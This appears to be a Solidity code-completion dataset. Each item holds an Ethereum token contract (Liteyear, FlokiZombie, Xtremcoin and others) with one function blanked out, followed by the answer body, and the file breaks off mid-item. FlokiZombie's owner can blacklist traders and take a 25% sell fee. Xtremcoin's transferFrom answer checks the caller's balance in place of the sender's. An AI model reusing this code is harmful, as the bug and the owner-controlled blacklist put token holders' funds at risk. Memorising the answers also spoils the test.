contract Liteyear is StandardToken { function () { throw; } /* Public variables of the token */ string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function Liteyear( ) {<FILL_FUNCTION_BODY> } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
contract Liteyear is StandardToken { function () { throw; } /* Public variables of the token */ string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; <FILL_FUNCTION> /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
balances[msg.sender] = 300000000000000000; totalSupply = 300000000000000000; name = "Liteyear"; decimals = 12; symbol = "LTYR";
function Liteyear( )
function Liteyear( )
73,253
FlokiZombie
null
contract FlokiZombie is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "FlokiZombie"; string private constant _symbol = "FlokiZombie"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () {<FILL_FUNCTION_BODY> } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 5; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 5; _feeAddr2 = 20; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1e12 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
contract FlokiZombie is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "FlokiZombie"; string private constant _symbol = "FlokiZombie"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } <FILL_FUNCTION> function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 5; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 5; _feeAddr2 = 20; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1e12 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
_feeAddrWallet1 = payable(0xCA1f9c51BEFE779a1D6328c05C5E0C1e53E483Ea); _feeAddrWallet2 = payable(0xCA1f9c51BEFE779a1D6328c05C5E0C1e53E483Ea); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
constructor ()
constructor ()
16,273
ThaiBahtDigital
ThaiBahtDigital
contract ThaiBahtDigital is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function ThaiBahtDigital() public {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract ThaiBahtDigital is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; <FILL_FUNCTION> // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
symbol = "THBD"; name = "Thai Baht Digital"; decimals = 18; _totalSupply = 1000000000000000000000000000; balances[0x756dD5bA2b8e20210ddEb345C59D69C3a011a4EC] = _totalSupply; Transfer(address(0), 0x756dD5bA2b8e20210ddEb345C59D69C3a011a4EC, _totalSupply);
function ThaiBahtDigital() public
// ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function ThaiBahtDigital() public
24,914
Xtremcoin
transferFrom
contract Xtremcoin is ERC20, SafeMath{ mapping(address => uint256) balances; string public name = "Xtremcoin"; string public symbol = "XTR"; uint public decimals = 8; uint256 public CIR_SUPPLY; uint256 public totalSupply; uint256 public price; address public owner; uint256 public endTime; uint256 public startTime; function Xtremcoin(uint256 _initial_supply, uint256 _price, uint256 _cir_supply) { totalSupply = _initial_supply; balances[msg.sender] = _initial_supply; // Give all of the initial tokens to the contract deployer. CIR_SUPPLY = _cir_supply; endTime = now + 17 weeks; startTime = now + 15 days; owner = msg.sender; price = _price; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _value) returns (bool success){ require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balances[msg.sender] > _value); // Check if the sender has enough require (safeAdd(balances[_to], _value) > balances[_to]); // Check for overflows balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) returns (bool success){<FILL_FUNCTION_BODY> } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } modifier during_offering_time(){ if (now < startTime || now >= endTime){ throw; }else{ _; } } function () payable during_offering_time { createTokens(msg.sender); } function createTokens(address recipient) payable { if (msg.value == 0) { throw; } uint tokens = safeDiv(safeMul(msg.value, price), 1 ether); if(safeSub(balances[owner],tokens)>safeSub(totalSupply, CIR_SUPPLY)){ balances[owner] = safeSub(balances[owner], tokens); balances[recipient] = safeAdd(balances[recipient], tokens); }else{ throw; } if (!owner.send(msg.value)) { throw; } } }
contract Xtremcoin is ERC20, SafeMath{ mapping(address => uint256) balances; string public name = "Xtremcoin"; string public symbol = "XTR"; uint public decimals = 8; uint256 public CIR_SUPPLY; uint256 public totalSupply; uint256 public price; address public owner; uint256 public endTime; uint256 public startTime; function Xtremcoin(uint256 _initial_supply, uint256 _price, uint256 _cir_supply) { totalSupply = _initial_supply; balances[msg.sender] = _initial_supply; // Give all of the initial tokens to the contract deployer. CIR_SUPPLY = _cir_supply; endTime = now + 17 weeks; startTime = now + 15 days; owner = msg.sender; price = _price; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _value) returns (bool success){ require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balances[msg.sender] > _value); // Check if the sender has enough require (safeAdd(balances[_to], _value) > balances[_to]); // Check for overflows balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } mapping (address => mapping (address => uint256)) allowed; <FILL_FUNCTION> function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } modifier during_offering_time(){ if (now < startTime || now >= endTime){ throw; }else{ _; } } function () payable during_offering_time { createTokens(msg.sender); } function createTokens(address recipient) payable { if (msg.value == 0) { throw; } uint tokens = safeDiv(safeMul(msg.value, price), 1 ether); if(safeSub(balances[owner],tokens)>safeSub(totalSupply, CIR_SUPPLY)){ balances[owner] = safeSub(balances[owner], tokens); balances[recipient] = safeAdd(balances[recipient], tokens); }else{ throw; } if (!owner.send(msg.value)) { throw; } } }
var _allowance = allowed[_from][msg.sender]; require (_value < _allowance); require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balances[msg.sender] > _value); // Check if the sender has enough require (safeAdd(balances[_to], _value) > balances[_to]); // Check for overflows balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true;
function transferFrom(address _from, address _to, uint256 _value) returns (bool success)
function transferFrom(address _from, address _to, uint256 _value) returns (bool success)
65,839
SantaGold
SantaGold
contract SantaGold is StandardToken, BurnableToken, Ownable { string public constant name = "Santa Gold"; string public constant symbol = "SGD"; uint256 public constant decimals = 8; uint256 public constant INITIAL_SUPPLY = 12000000 * (10 ** uint256(decimals)); address public constant owner = 0x3BeB01FC5D26c0f6B8e72650e002247886E4279a; function SantaGold() public {<FILL_FUNCTION_BODY> } }
contract SantaGold is StandardToken, BurnableToken, Ownable { string public constant name = "Santa Gold"; string public constant symbol = "SGD"; uint256 public constant decimals = 8; uint256 public constant INITIAL_SUPPLY = 12000000 * (10 ** uint256(decimals)); address public constant owner = 0x3BeB01FC5D26c0f6B8e72650e002247886E4279a; <FILL_FUNCTION> }
totalSupply = INITIAL_SUPPLY; balances[owner] = INITIAL_SUPPLY;
function SantaGold() public
function SantaGold() public
84,012
CEXToken
null
contract CEXToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract CEXToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; <FILL_FUNCTION> // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have 